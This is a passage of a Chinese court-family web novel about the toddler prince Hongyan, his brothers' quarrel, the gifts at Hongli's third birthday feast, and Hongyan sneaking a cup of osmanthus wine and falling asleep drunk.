弘昼凑过去,笑嘿嘿的对着弘晏说道:“明天是四哥的生日。” 弘晏恍然大悟。 接着,就听弘昼扬着小脸自信满满地说道:“我已经准备好了给四哥的生辰礼物,一定会惊艳所有人。” 弘晏好奇的问:“什莫?” 弘昼神秘兮兮的摇了摇脑袋。 弘昼越是卖关子,弘晏越想知道,就使出了甜言蜜语:“锅锅,好锅锅。” 弘昼瞧着弘晏忽闪着黑葡萄般的大眼睛眼巴巴的望着自己,便凑过去,在弘晏耳边缓缓吐出两个字:“秘密。” 弘晏:“……” 说了等于没说。 弘晏撅了撅嘴巴,表示对弘昼的不满。 弘昼怕弘晏真生了气,赶忙找补道:“好弟弟,不是我不愿意告诉你,生辰礼自然要寿星来揭晓,对不?” 弘晏本来就没真生气,如今听着弘昼的软话,自然就笑了。 无妨,反正明天就会知道了。 不过依着弘昼的作风,给弘历的生辰礼是惊喜还是惊吓,可就不一定喽! “五阿哥,出门前您怎么答应格格的,咱们该回去了。”秋叶在一旁出声提醒道。 弘昼把小脑袋摇晃的跟拨浪鼓一样:“不回去,我还要和弟弟再玩一会儿呢。” 弘昼话音刚落下,一道温柔的声音开了口:“都玩了半个时辰了,还要玩多久。” 弘昼扭头一看,正是耿格格。 弘昼见状,立马跳下了秋千,走过去拉着耿格格的衣袖晃悠道:“额娘,我想和弟弟再玩会儿。” 耿格格耐着性子说道:“弘昼,你该回去背书了。” 今早上她带着弘昼背《三字经》还没有一刻钟呢,弘昼就喊着饿,非要吃她做的桂花酒酿小圆子,等吃完了又嚷着去正院给弘晏送桂花圆子,并且再三保证送完桂花小圆子就回来,她一心软就答应了弘昼。 谁知她香囊都绣好了,还是不见弘昼回来,便知晓定是弘昼在正院疯玩起来,只好亲自来抓人了。 弘历已然能将《三字经》全部背下来了,弘昼的进度与弘历何止差了一大截,届时胤禛考问,弘昼挨训斥怕都是轻的。 弘昼苦着一张脸:“我不喜欢背书,额娘,你就让我安心玩一玩,等到用午膳的时候,我自然就回去了,下午一定好好背书。” 耿格格却是不信:“等用了午膳,你又要犯困,一觉醒来不是喊饿就是说渴,哪里能背书?” 弘昼打的小算盘被耿格格戳破了,心虚的闪忽着眼睛,搓着小手指。 坐在秋千上的弘晏可是听明白了,原来弘昼今日急匆匆的来找他,是为了躲避背书啊。 耿格格那么温和的人都亲自来抓弘昼回去了,可见是铁了心了。 于是,弘晏软糯糯的开了口:“锅锅,背书书,明天玩。” 说罢,弘晏冲着弘昼挥了挥手。 弘昼知晓这是弘晏与人拜拜的意思,只好认命的跟着耿格格回去。 走之前,耿格格先带着弘昼进了屋子向乌拉那拉氏请安,弘晏则叫王乳娘把他从秋千上抱下来,而后哒哒进了屋子。 弘晏小跑到乌拉那拉氏面前,拉着乌拉那拉氏的袖子说道:“额凉,锅锅爱柚柚。” 方才在屋子里的时候,他可瞧见弘昼吃了不少柚子呢。 乌拉那拉氏明白了弘晏的意思,叫银烛拿了两个金黄色圆滚滚的柚子给秋叶收着。 弘昼见状,抬眼看向弘晏时,发觉弘晏正对着他笑。 呜呜,虽然弟弟让我回去背书,但是弟弟还是爱我的。 弘昼松了耿格格的手,小跑过去搂了搂弘晏,还在弘晏的小脸蛋儿上亲了一口。 弘晏先是一愣,而后傻嘿嘿的笑着。 没想到弘昼表达喜欢的方式还挺直接的。 而弘昼亲完了弘晏的小脸蛋 儿后,也有些不好意思地红了脸,又跑回了耿格格身边。 目睹了这一切的乌拉那拉氏和耿格格只是柔柔的笑着。 随后,耿格格带着弘昼谢过乌拉那拉氏之后,方才带着弘昼离开了正院。 耿格格母子走后,乌拉那拉氏弯腰将弘晏抱坐在了膝头,笑道:“我们福宝还挺招人稀罕的。” 见乌拉那拉氏打趣自己,弘晏直往乌拉那拉氏的怀里钻,撒娇喊着:“额凉。” 乌拉那拉氏托着弘晏的小屁股,脸上的笑意更甚了。 玩笑过后,弘晏从乌拉那拉氏怀里出来,仰着小脸儿问道:“额凉,明日是四锅锅生辰。” 乌拉那拉氏先是一愣,随后便猜到了:“是弘昼告诉你的吗?” 弘晏点了点小脑袋,开口道:“额凉,窝给锅锅礼物。” 乌拉那拉氏笑着解释:“额娘已经给弘历备好生辰礼了。” 弘晏一个小奶娃,哪里用的着送礼。 弘晏摇了摇小脑袋:“五锅锅送礼物,窝也要送。” 乌拉那拉氏瞧着弘晏坚定的眼神,便问道:“那福宝想送什么?” 送什么? 好问题。 弘晏抬头看向了窗外,忽然想起了什么,对着乌拉那拉氏招了招手。 乌拉那拉氏见弘晏神秘兮兮的,便弯腰凑过去听,听完觉得弘晏的想法不错,许是在胤禛的书房见过此类物件便记住了。 乌拉那拉氏想要逗一逗弘晏,便一本正经的问道:“福宝,送礼可是要花银子的,你有银子吗?” 弘晏气鼓鼓的说道:“窝滴宝贝,都是额凉收的。” 乌拉那拉氏没想到弘晏反应这么快,竟然直接控诉她,便哄道:“好,好,额娘帮你准备。” 弘晏听罢,立马喜笑颜开,又扑进了乌拉那拉氏怀里。 乌拉那拉氏见状,笑着抬起手,轻轻在弘晏肉嘟嘟的小屁股上拍了一下:“好哇,你骗额娘。” 嘿嘿,兵不厌诈。 第49章 第49章兄友弟恭 胤禛膝下子嗣在一众皇子中并不算多,是以,胤禛对每个孩子都有关爱。 因着今日是四子弘历满三周岁的日子,再加上怀恪郡主回府,胤禛便吩咐下去晚膳在前院设宴。 等到了黄昏时分,落日渐渐隐入西山,余晖染红了云霞,乌拉那拉氏收拾妥当,便抱着弘晏往前院去了。 前院这边,正和弘历说话的弘昼,一见着弘晏,眼睛一亮,便笑嘻嘻的跑到乌拉那拉氏面前喊着:“弟弟。” 乌拉那拉氏笑着将弘昼放到了地上。 “嘿嘿,锅锅。”弘晏甜甜地喊着。 弘昼拉着弘晏来到了弘历面前,面对奔放的弘昼,弘历就婉约多了,柔柔笑着:“六弟弟。” 弘晏瞧着今日穿了一件红色长袍的弘历,笑眯眯道:“四锅锅好看。” 弘历不好意思地挠了挠头:“哪有,弟弟你才好看。” 弘晏本来就白,这身孔雀绿的衣裳更衬得弘晏肤白如雪。 弘昼见状,有些吃醋了,拉着自己身上穿的宝石蓝长袍说道:“四哥,你都没夸我,你过生辰,我也穿了新衣裳呢。” 弘历听罢,笑着道:“好,你和六弟都好看。” 弘昼这才满意,又将自己的荷包翻出来,拿了粽子糖分给弘历与弘晏吃。 弘晏吃着粽子糖,却隐约觉得有一道炽热的视线正盯着他们,一抬眼,弘晏发现来人竟是弘时。 而后,弘晏顺着弘时的视线看过去,才明白弘时看着的不是他们三个人中的任何一个,而是弘昼手里的荷包。 弘晏想到了什么,对着弘昼说道:“五锅锅,三锅锅还没有糖糖。” 弘昼听罢弘晏的话,一抬头才发现弘时就站在他身旁,便从荷包里拿出一颗粽子糖递给弘时。 弘时盯着弘昼手中的粽子糖瞧了瞧,还是抬了抬下巴,嘴硬道:“哼,我可不吃,这都是小孩子吃的玩意儿。” 弘昼眼中的弘时就如同一个高傲的大公鸡,听着这怪声怪气的话自然也就不乐意了:“哼,不吃拉倒。” 话音落下,弘昼直接将手中的粽子糖撂进了自己嘴里,还对着弘时做了个鬼脸儿。 弘时有些生气,指向弘昼说道:“弘昼,你……” 弘历见状,抬眼看向弘时,正欲替弘昼说话时却发现了什么:“欸?三哥,你掉牙齿了。” 弘时一听,立马闭上了嘴巴。 弘晏这才明白,弘时不是不想吃,而是在换牙期不敢吃甜食。 弘昼见状,又冲着弘时做起了鬼脸:“嘿嘿,没牙齿的大孩子。” 话音落下,弘昼身子一转,背对着弘时,而后又将小屁股撅起来,接着拿手拍着自己的小屁股,嘴里还喊着:“没牙齿的大孩子。” 弘时被弘昼赤/裸/裸的嘲笑和挑衅,气愤极了:“弘昼,我今天就好好教教你怎么尊敬兄长。” 弘时的话还没说完,弘昼就撒丫子跑了。 弘时将狠话说完后,赶忙抬腿去追弘昼。 弘历见状,知道以自己的能力拦不了架,便对着弘晏嘱咐道:“六弟,你躲远些,别让他们伤到你,我去屋子里禀报嫡额娘。” 说完,弘历也撒丫子跑了。 而弘晏正欲去追弘时与弘昼,就被王乳娘抱了起来:“六阿哥乖,等福晋来做主。” 弘晏清楚自己的小短腿,被迫进入观众席视角。 弘昼腿脚再灵活到底只有三岁,而弘时已经十岁了,两人间的距离逐渐缩小,再缩小。 而弘昼的余光也发现这一点儿,知晓再跑下去就会被弘时抓住。 于是,弘昼灵机一动,边跑边将荷包里剩余的粽子糖全都抛洒在了地上。 弘时只顾着追赶弘昼,压根没看脚底下,结果双脚全都踩到了粽子糖,又因为速度过快失去平衡,直接面朝下摔在了地上。 弘时整个人吃痛的趴在地上,闷闷地喊道:“哎呦。” 弘昼听到身后传来的动静,停了脚下的步子,转过身来瞧着自己的主意起了作用,随即捂住肚子大笑起来。 弘时听着弘昼毫不遮掩的嘲笑声是又窘又羞,便要挣扎着站起来。 弘昼见状,只觉不好,便一溜烟儿冲着乌拉那拉氏等人走来的方向跑过去。 “嫡额娘,额娘,救命啊。”弘昼说完,便藏在了耿格格身后。 而即将追上弘昼的气势汹汹的弘时瞧见乌拉那拉氏等人,一下子成了泄气的皮球。 躲在耿格格身后的弘昼委屈巴巴的开口:“嫡额娘,三哥要揍我。” 弘时听了这话,气得额角的青筋直跳,指着弘昼说道:“你,你恶人先告状。” 乌拉那拉氏眉头微颦,看着张牙舞爪的弘时,声音里含着满满的震慑:“弘时。” 弘时收了指着弘昼的手指,低了低头。 跟在乌拉那拉氏身旁的李侧福晋忍不住开口:“福晋,缘由还未问清楚,您怎么能先训斥弘时呢?” 乌拉那拉氏缓缓开口:“其中详情我自会问清楚,你急什么。” 李侧福晋还要说话,却被怀恪郡主悄悄扯了扯袖子。 李侧福晋这才不情愿的闭上嘴。 王乳娘抱着弘晏走过去,作为目击者之一,弘晏小嘴一张,对着乌拉那拉氏巴巴的讲述起来:“额凉,五锅锅给三锅锅糖糖,三锅锅说五锅锅,五锅锅笑三锅锅,三锅锅追五锅锅,五锅锅扔糖糖,三锅锅摔了。” 弘晏虽然逻辑清楚,但是能表达出来的词汇量很有限,是以,边说还边加上肢体语言,对着弘时与弘昼指来指去的。 纵使弘晏很努力的在表达,但是弘晏的话落在乌拉那拉氏等人的耳朵里却都是:“哥哥,哥哥。” 是以,乌拉那拉氏一干人听得是云里雾里的。 弘历为了能够快些请乌拉那拉氏出来解决问题,只说了弘时与弘昼起了争执,并未将事情的来龙去脉细细说出来,而且他走了之后,并不清楚后来又发生了什么事情。 所以,目睹了全过程的另一个观众——王乳娘,直接将事情原原本本讲了出来。 王乳娘讲完,弘晏连连点头:“额凉,就是这样。” 弘晏的话音刚落地,李侧福晋就炸了:“好啊,弘昼,你小小年纪一肚子坏水,若是弘时摔出个好歹来,我饶不了你。” 怪不得弘时身上脏兮兮、灰扑扑地,原是让弘昼给算计了! 耿格格听得直皱眉,说话的语气也硬气起来:“侧福晋,弘昼拿粽子糖害弘时摔倒是有错,可弘昼好心好意的给三阿哥拿糖吃,若不是三阿哥不领情又出言嘲讽,扬言要教训弘昼,又怎会有后来的事。” 她的孩子她清楚的很,弘昼虽然顽劣,但不会无 招惹旁人。 一个巴掌还拍不响呢! 李侧福晋被耿格格怼了,火气更甚了:“耿氏,怪不得弘昼心黑肺烂肠子坏,原来是上梁不正下梁歪。” 耿格格说不出那种腌臜话,被气得直接红了眼眶:“你……” 乌拉那拉氏脸色一沉,喝道:“放肆。” 李侧福晋意识到什么,讪讪闭了口。 乌拉那拉氏睨着李侧福晋,语气生硬如同淬了冰:“李氏,上梁不正下梁歪?耿氏是弘昼的生母不假,那本福晋是弘昼的嫡母,爷更是弘昼的生父,依你所言,岂不是都成了脏心烂肺之人?” 李侧福晋说话的声音都带着颤抖:“妾身不敢,妾身绝无此意,只是一时护子心切,气昏了头,才口不择言的,还望福晋恕罪。” 弘晏见状,在内心嘀咕起来:李侧福晋真是嘴在前面飞,脑子在后面追。 今日之事,说白了只是小孩子间打闹,本不是什么了不得的大事,李侧福晋不但不从中劝和,反而火上浇油,还将额娘和便宜阿玛拉下了水,成功把矛盾激化了一个新高度。 乌拉那拉氏嫌弃的扫了李侧福晋一眼,转而看向耿格格。 耿格格心领神会,叫弘昼去前面站着。 乌拉那拉氏看着面前的弘时与弘昼,语重心长的教导起来:“弘时,你身为兄长,该对弟弟们友爱,粽子糖是弘昼的好意,若不愿吃,便该先言谢再婉拒,又怎能出言讥讽?” “弘昼,作为弟弟,该对兄长恭敬,兄长无礼,该告知长辈做主,怎能出手回击,使得兄长受伤?” 乌拉那拉氏说完,弘时先开了口:“嫡额娘教训的是。” 随后,弘时对着弘昼说道:“五弟,我,我不该那样对你说话的,我想吃糖的,但柳大夫说牙没长出来之前最好还是不吃为好,我就是好面子,不好意思说出来。” 弘时说到后面声音越来越小,但弘昼却能听得清楚。 弘昼见弘时说得这么真切,也不好意思的开了口:“三哥,我也有错,我不该笑话你没有牙齿,你没有牙齿也好看。我不是故意洒粽子糖害你滑倒的,就是怕你追上我揍我,我肯定打不赢你的,你摔疼了吧?我给你揉揉。” 说着,弘昼就要上手给弘时揉膝盖。 弘时连忙按住了弘昼蠢蠢欲动的手,婉拒道:“不用了,早就不疼了,我衣服脏了,你还是别摸了。” 弘昼立马接话:“三哥,那我给你擦擦衣服。” 弘时哪里好意思:“不用,我待会儿回房换一身就行。” 瞧着弘时与弘昼兄弟两握手言和,在场众人都笑盈盈的。 忽而,乌拉那拉氏开了口:“李氏,到你了?” 李侧福晋一愣:“福晋,到我什么?” 乌拉那拉氏勾了勾唇:“你刚才咒骂耿格格与弘昼,大家伙可都听到了。” 李侧福晋脸上一阵红一阵白,只能硬着头皮给耿格格母子赔了不是。 事情已然了结,弘时回房换衣服去,其余人都回了屋子里坐着,只等着胤禛回来便开宴。 第50章 第50章长命百岁 夜幕降临,月上枝头,胤禛乘着马车回了雍亲王府,径直去书房脱下石青色的官服,转而穿上了藏蓝色的常服之后,方迈步去了正厅。 屋内众人见着胤禛皆是起身行礼,而王乳娘怀里的弘晏则是哼了哼嘴,很是不爽。 等了这么久,天都黑了,他肚子都快要饿扁了。 胤禛的余光察觉到弘晏的微表情,勾了勾唇角,随即抬了抬手示意众人起身。 胤禛先走到王乳娘面前,抬起手摸了摸弘晏的小脑瓜,而后掀起衣袍一角,落坐在主位上。 胤禛坐稳当之后,乌拉那拉氏等人方才落座。 胤禛使了个眼色,苏培盛便将胤禛送给弘历的礼物呈上。 一个白玉笔洗。 弘历将礼物收下,恭恭敬敬的朝着胤禛喊道:“多谢阿玛。” 胤禛开了送礼的头,乌拉那拉氏等人紧随其后,弘历一一道谢。 长辈们送完礼物,便开始小辈的了。 同辈中,怀恪郡主最为年长,自是由她起头。 怀恪郡主一个眼神甩过去,身旁的丫鬟便将礼物呈上,是一套上好的文房四宝。 按照年岁,接着便是三阿哥弘时,弘时送给弘历是是一本董其昌的字帖。 汗玛法最喜临摹明代董其昌的书法,阿玛自是追随汗阿玛的脚步,是以授课的师傅也教他临摹董其昌的字,听说弘历喜欢背书,那不如趁早将字练起来的好。 再按着顺序往下排,便是弘昼了。 只见弘昼神秘兮兮的喊进来一个小太监,那小太监手里不知抱着什么东西,还用一个红绸子盖得严严实实的。 不得不说,弘昼的礼物一瞬间将屋子里的人的视线都吸引了过去。 尤其是弘晏,对弘昼的礼物可是满满的期待。 弘昼笑呵呵道:“四哥,来,你亲自来揭开。” 抱着东西的小太监虽然弓着腰,但三头身的弘历自然还是够不到的,于是,苏培盛一个眼神过去,徒弟小喜子便迈步过去一把抱起了弘历。 弘历怀揣着激动与好奇,伸出双手来揭开了红绸子,可当礼物映入弘历眼帘的那一刻,弘历扬着的嘴角登时僵住了。 而弘时在瞧清楚了弘昼送的礼物之后,忍不住笑起来:“哈哈,五弟,你怎么给四弟送了一只大乌龟。” 不错,那揭开的红绸下是一个瓷缸,而瓷缸里正是一只大乌龟。 弘晏也嘿嘿笑起来。 这礼物,只有不走寻常路的弘昼才能想的出来。 弘昼一本正经的开口解释道:“我额娘说了,千年的王八,万年的龟,乌龟长寿,那我用这只乌龟祝四哥活得长长久久,有何不好?” 此话一出,宴席上的人纷纷看向了耿格格,耿格格忽而觉得自己又被弘昼给坑了,随即红着脸解释起来:“弘昼,你前两日问我什么东西活得最久,我才这样说的,可没让你送大乌龟给弘历啊。” 弘昼给弘历准备好了礼物,却说是秘密不能提前告诉她,她便尊重了弘昼的意思,早知道弘昼不着调,她就该先把把关才好。 万幸,她说了“千年的王八万年的龟”,弘昼没有准备一只王八给弘历,不然她跳进黄河也洗不清了。 弘历听完,看着弘昼笑呵呵的说道:“五弟,谢谢你,我会好好养这只乌龟的。” 他明白弘昼是好意,而非与他开玩笑,是真心诚意的祝福他长命百岁的。 弘昼听罢,笑嘿嘿的说道:“四哥,你是这只乌龟的主人,快给他取个名字吧。” 取名字? 弘历看着眼前的乌龟,大眼对小眼儿,陷入了沉思。 弘昼见弘历犯愁,便开始出主意:“四哥,你看,这只乌龟是绿色的,上面又有花纹,不如叫它绿花。” 弘历:“……” 如何在不伤害弘昼的前提下婉拒这个名字。 耿格格:“……” 取名字的是弘昼,为什么丢人的是她。 弘时“噗嗤”一声笑出来,“弘昼,你这名字起的也太难听了。” 弘昼有些不服气,哼了哼:“那你起一个?” 弘时走了过来,边瞧着大乌龟,边仔细分析起来:“取名要有特点才行,你们看, 这乌龟背上的花纹是网状的,不如叫花背怎么样?” 弘历:“……” 弘历小朋友期待的目光,默默暗了下去。 花背? 好像还不如绿花。 弘昼一脸嫌弃:“那怎么不叫花网?背网?” 弘时立马否决:“那多难听,还是花背好。” 弘昼扬着小脸道:“绿花才好听。” “花背” “绿花” 弘时与弘历像两个小牛一样僵持不下,最终看向了弘历,异口同声问道:“四弟/四哥,你说哪个好听?” 弘历:??? 不是送给我的乌龟,让我取名的吗? 怎么变成我二选一了? 还是从“绿花”和“花背”中选。 而王乳娘怀里的弘晏肚子也不饿了,津津有味的看起热闹来。 他很期待弘历对于两个土得掉渣的名字,是如何抉择的。 弘历看了眼都是一脸势在必得的模样的弘时与弘昼,什么都没说,而是直接走到了胤禛身边:“阿玛,烦请您帮我给这乌龟取个名字吧。” 看热闹的弘晏表示:不错,弘历是有脑子的。 毕竟,胤禛的话有权威性,谁也不敢质疑。 胤禛听罢,“嗯”了一声,目光看向弘时与弘昼的时候,只觉得头疼。 弘昼也就罢了,弘时在前院学了好几年的功课,竟还能取出这般粗俗难听的名字,可见功课不精。 胤禛压下思绪,轻轻吐出两个字:“叫元绪吧。” “元绪”,弘历低声念了一遍,随即笑道:“好听,多谢阿玛赐名。” 胤禛给这大乌龟赐了名,弘时与弘昼自然是不再言语了。 而弘晏见轮到自己的礼物登场了,便立马叫乌拉那拉氏把准备好的礼物拿出来。 弘历更是意外,意外之余有些感动。 他没有想到一岁多的弘晏竟也给自己准备了礼物。 眼见着银烛迈步过来,将一个小盒子递给了弘历。 弘历接过小盒子,打开一看,竟然是一枚做工精致的小印章,而且那印章上正刻着自己的名字。 弘历的眼睛刷的亮起来,眉眼弯弯的说道:“谢谢六弟弟,我喜欢这个礼物。” 弘历的两只手拿着印章都不舍得放下,他真想现在就试试这印章盖出来的红印是什么样子的。 对于弘晏的礼物,胤禛是很意外的,毕竟,一个小奶娃怎么能想出来送印章这种物件儿呢。 就算是福晋,也不大能想到这处。 是以,胤禛抬眸看向了王乳娘怀里的弘晏。 而弘晏发觉便宜阿玛在看着自己的时候,扬了扬小脸,摆出一幅“看,我的礼物才是锅锅最喜欢的”满是骄傲的小模样来。 胤禛读懂了弘晏的小表情,翘了翘嘴角。 看来送印章真是小家伙自己想出来的主意,许是上次带弘晏来书房,他瞧见了自己多宝架上放着的印章,觉得有趣吧。 送礼物环节已然结束,胤禛一个眼神,苏培盛清了清嗓子喊道:“开宴。” 话音落下,丫鬟们捧着精致的菜肴鱼贯而入,而今日的主角弘历面前则是放了一碗长寿面。 终于开饭了,弘晏迫不及待的到乌拉那拉氏怀里去,又撸着自己的袖子,左右手齐上阵,开启干饭模式。 胤禛的余光瞥见吃的腮帮子鼓鼓的并且满嘴流油的弘晏,连自己的胃口都跟着好了不少。 咀嚼完的弘晏对着乌拉那拉氏喊道:“额凉,汤汤。” 弘晏的话音落下,王乳娘便盛好了汤放在乌拉那拉氏面前。 乌拉那拉氏拿起给羹匙舀了一勺汤,送到嘴边吹了吹,方才喂给弘晏。 这道羊肉汤里有白萝卜,弘晏很是喜欢,不但喝了一整碗,还吃了好几块萝卜。 弘晏心满意足的摸了摸鼓起来的小肚子:“饱了。” 乌拉那拉氏闻言,便拿起帕子给弘晏擦干净嘴巴和手指。 王乳娘正欲将弘晏抱走,好让乌拉那拉氏安心用膳,弘晏却不愿意,而是对着胤禛喊道:“阿玛,抱抱。” 弘晏一边说着,一边对着胤禛伸出了自己的小胳膊。 他等了便宜阿玛那么久,便宜阿玛抱着他,充当他的人肉坐垫才算公平。 胤禛闻言,给苏培盛递了个眼色。 苏培盛迈步过去,从乌拉那拉氏怀里接过弘晏便递到胤禛怀里。 胤禛左手竖抱着弘晏,让弘晏站在自己大腿上,右手则拿着筷子夹菜吃。 李侧福晋笑吟吟的捧着酒杯来敬酒,胤禛便将筷子放下,提起酒杯抿了一口便放下了。 年侧福晋紧随其后,胤禛再度提起酒杯,这次却是将酒杯里的酒喝尽了,并且开口嘱咐年侧福晋少饮些桂花酒。 弘晏的目光就停留在那空酒杯上,接着瞧着苏培盛拿着酒壶又往那酒杯里斟满了桂花酒。 是浅黄色的,而且闻着还挺香的。 酒? 他还没有喝过酒呢。 弘晏舔了舔嘴唇,大眼睛骨碌着转了一圈,发现没有人注意自己,就由着内心的驱使,伸出双手捧着酒杯把酒喂进了喉咙里。 乌拉那拉氏是最先发现弘晏的小动作,可乌拉那拉发现时,弘晏已然喝完了杯中的桂花酒。 乌拉那拉氏嗔了胤禛一眼。 还是王爷呢,连个孩子都看不好。 瞧着乌拉那拉氏那双含着埋怨的眼神,胤禛有些心虚,忙问怀里的弘晏有没有不舒服的地方。 弘晏却笑呵呵的说道:“酒,甜的。” 说完,弘晏满是回味的舔了舔嘴唇。 李侧福晋见状,笑道:“六阿哥,小小年纪便有如此酒量,可真是厉害啊。” 胤禛不耐的瞥过去,李侧福晋讪讪闭了口。 乌拉那拉氏不放心,先叫流萤请柳从南过来,而后叫王乳娘把弘晏抱了回来。 弘晏瞧着乌拉那拉氏微微蹙起的眉头,笑着道:“嘿嘿,额凉。” 区区桂花酒而已,他一点儿事儿都没有。 他喝的酒是香甜的,便宜阿玛喝完酒为什么身上是臭臭的呢? 真是奇怪! 可过了会儿,弘晏觉得身上有些不对劲了,好热啊,为什么这么热,而且他的脑袋怎么晕乎乎的。 脑袋上怎么有星星,一颗,两颗,三颗…… 不仅脑袋晕了,眼睛好像也花了。 哎呀,他怎么看不清楚额娘了。 眼睛,眼睛好累啊,睁不开了。 王乳娘见状,赶忙喊乌拉那拉氏。 乌拉那拉氏见状,“蹭”的一下从座位上站起来,看着弘晏阖着眼睛在王乳娘怀里睡着了。 可那小脸蛋儿是红扑扑的。 乌拉那拉氏连忙抬起手,摸了摸弘晏的小脸蛋儿,却是有些发烫。【你现在阅读的是 】 50-60 第51章 第51章一波三折 乌拉那拉氏一颗心悬了起来,又赶忙抬手摸了摸弘晏的额头。 还好,额头是凉的,没有发热。 胤禛也从座位上走了过去,来查看弘晏的情形,瞧着弘晏脸颊上的两坨红晕,胤禛只道:“应当是醉了,爷抱他去书房。” 话音落下,胤禛从王乳娘怀里抱起弘晏便大步流星的迈出了门槛,乌拉那拉氏则跟着胤禛往外走。 府里最大的两位主子都走了,其余人皆放下了筷子,我瞧你,你瞧她的。 年侧福晋第一个起身离开,其余人便都跟着年侧福晋一同往胤禛的书房去了。 进了胤禛的书房,众人只敢齐齐的在外间站着,并不敢进去里面叨扰。 弘昼人虽然在耿格格身边老老实实的站着,但一双圆溜溜的眼睛却一直往内室瞅:“六弟是喝醉酒睡着了吧,我前两日喝了一大碗桂花酒酿小圆子,一点儿事都没有。” 看来六弟的酒量不行呢。 与启蒙不久的弘昼相比,读了几年书的弘时自然是见识广博的,是以一旁的弘时听见了这话,便开口解释起来:“酒酿是甜的,与阿玛喝的酒当然不同。” 弘昼点了点小脑袋,一脸认真的说道:“有道理。” 要是这么说的话,六弟还是他们四个当中,年龄最小但却是第一个喝过酒的爷们儿呢。 而弘历的眼睛里满是担忧,低低地说道:“六弟,他不会有事吧。” 不吉利的话是不能随便说出口的。 今日是他的生辰,却偏偏出这样的事儿。 此时的钮祜禄格格,心中也是复杂的紧,瞧着弘历情绪低落,也只能通过轻轻抚摸弘历小脑袋的方式来安慰弘历。 府医未到,还未诊脉,谁能打包票说六阿哥一定没事儿呢。 可怜她的弘历过个三岁的生辰,都是一波三折的。 弘昼闻言,小步子横跨到弘历身边,拍着弘历的肩膀,一脸坚定的说道:“ 四哥,有你这个寿星在,六弟一定会没事儿的。” 弘昼积极乐观的情绪传递给了弘历,弘历那盛满担忧的眼睛转而亮了起来。 没错,他是寿星,今日他最大,有他在,六弟一定会平平安安的。 弘历在心里默念着。 这时,流萤带着柳从南进来了书房,二人直接往内室去。 胤禛免了柳从南的见礼,将床沿的位置让出来,方便柳从南诊脉。 柳从南利落的打开药箱,拿了脉枕便凝神给弘晏诊脉。 乌拉那拉氏站在一旁,等待的时辰里满是煎熬,那捏着手帕的掌心都沁出了一层汗。 柳从南诊脉过后,站起身回禀道:“爷,福晋,六阿哥饮酒不多,并无大碍,如今是因醉酒而熟睡,不妨给六阿哥喂些蜂蜜水,待他天亮睡醒酒劲儿消了就是。” 乌拉那拉氏听罢,松了口气,连捏着帕子的手劲儿也松了几分力。 胤禛挥了挥手,柳从南便拎着药箱下去了。 不多时,王乳娘端来一碗温热的蜂蜜水。 胤禛坐在床沿,将床上躺着的弘晏抱坐在怀里,接着捏开他的嘴巴,乌拉那拉氏则拿着羹匙舀了蜂蜜水,一点儿一点儿的喂进弘晏嘴里。 喂完蜂蜜水,乌拉那拉氏给弘晏擦了擦嘴,胤禛又把弘晏平放在拔步床上,给弘晏盖好被子。 乌拉那拉氏瞥了一眼外间满满一屋子的人,低声道:“福宝这里有我就成,爷带着她们先回去吧。” 一个个杵在外面也帮了什么,都走了倒还清净些。 胤禛闻言,顿了顿,什么也没说便带着众人都回了前厅。 内室的隔扇门开着,柳从南的话她们自然听得清楚,只是胤禛与乌拉那拉氏不发话,她们哪里能随便离开。 如今胤禛出来,她们也没有理由再留下去。 弘昼还想瞧瞧弘晏的情况,却被耿格格直接拽走了。 弘昼这皮猴子留下来,只会添乱。 宴席虽然继续,可胤禛哪里还有用膳的心思,众人见胤禛不动筷子,自是不敢大快朵颐。 众人更知晓胤禛心里记挂着弘晏,也无人说话暖场,气氛自然是愈发冷了。 少顷,胤禛起身先行离开了宴席,其余人见状,便也各自散了。 胤禛大步回了书房,看见的却只是空荡荡的拔步床。 这时,小喜子弓身回禀道:“爷,福晋带着六阿哥回正院了。” 胤禛听罢,转身出了书房,径直往正院去,苏培盛忙不迭跟上去。 到了正院,胤禛迈进内室,只见乌拉那拉氏正坐在床沿守着弘晏。 流萤搬了绣墩过来,胤禛撩起衣角坐在绣墩上,望着床榻上的弘晏。 弘晏依旧熟睡着,但脸上的两团红晕倒是消下去了。 该是喝了蜂蜜水的缘故。 胤禛抬起手,用指腹摸了摸弘晏光滑的小脸蛋儿,柔和的目光里满是慈爱。 而乌拉那拉氏缓缓开了口:“福宝好多了。” 胤禛应了一声。 乌拉那拉氏抬手给弘晏掖了掖被角:“夜深了,爷去瞧瞧弘历吧。” 胤禛闻言,只道:“弘历很好,今夜爷守着福宝,福晋早些安寝吧。” 乌拉那拉氏没应:“柳大夫说福宝一觉睡醒就好了,今个儿到底是弘历的生辰,爷该去瞧瞧钮祜禄格格。” 弘历今个儿过生辰,本是喜事,怕是被弘晏醉酒给吓到了。 于情于理,胤禛都该去钮祜禄格格那儿。 胤禛顿了片刻,方才道:“也好,待天亮再唤柳从南给福宝瞧瞧。” 乌拉那拉氏应声后,胤禛方抬步出去。 —— 弘晏这一觉直接睡到了第二天中午。 待弘晏在拔步床上睁开眼睛时,王乳娘便欢喜的走出去唤乌拉那拉氏进来。 乌拉那拉氏进来后,瞧见弘晏已然坐了起来,双手正握拳揉搓着惺忪的睡眼。 乌拉那拉氏笑着唤道:“福宝。” 弘晏笑呵呵的回应:“额凉。” 乌拉那拉氏边给弘晏穿衣洗漱,边叫银烛去叫柳从南来。 弘晏还记得昨晚他嘴馋,喝了便宜阿玛杯中的桂花酒,然后就不省人事了。 准确的说他是“一杯倒”了。 亏他还大言不惭,如今真是啪/啪打脸。 是以,弘晏就装作失忆,压根不提昨天晚上的事儿,而是对着乌拉那拉氏软糯糯的喊道:“额凉,窝饿了。” “好,额娘一会儿就喂你用膳。”乌拉那拉氏说完,就抱着弘晏出去,将人放在了檀木小榻上。 片刻后,银烛带着柳从南进来。 弘晏一见柳从南,就骨碌着小身子往乌拉那拉氏身后躲:“窝好,不喝苦药汤。” 呜呜,他可以向额娘保证,他一点儿事儿都没有。 柳从南:“……” 乌拉那拉氏瞧着弘晏反应这么大,倒是笑了,将弘晏从身后拉出来,抱进怀里,而后在弘晏的小屁股上轻轻拍了一下:“小馋猫,喝酒的那股子劲儿去哪了?” 弘晏听罢,心虚的忽闪着大眼睛,闭着小嘴巴不说话,而是用小脑袋在乌拉那拉氏怀里蹭来蹭去的撒娇。 乌拉那拉氏摸着弘晏的小脑袋,哄道:“额娘不让你喝苦药汤,就让柳大夫给你把把脉。” 好吧,谁让他不争气偷喝桂花酒还醉了呢。 弘晏还是从乌拉那拉氏怀里出来了,乖乖的让柳从南把了脉。 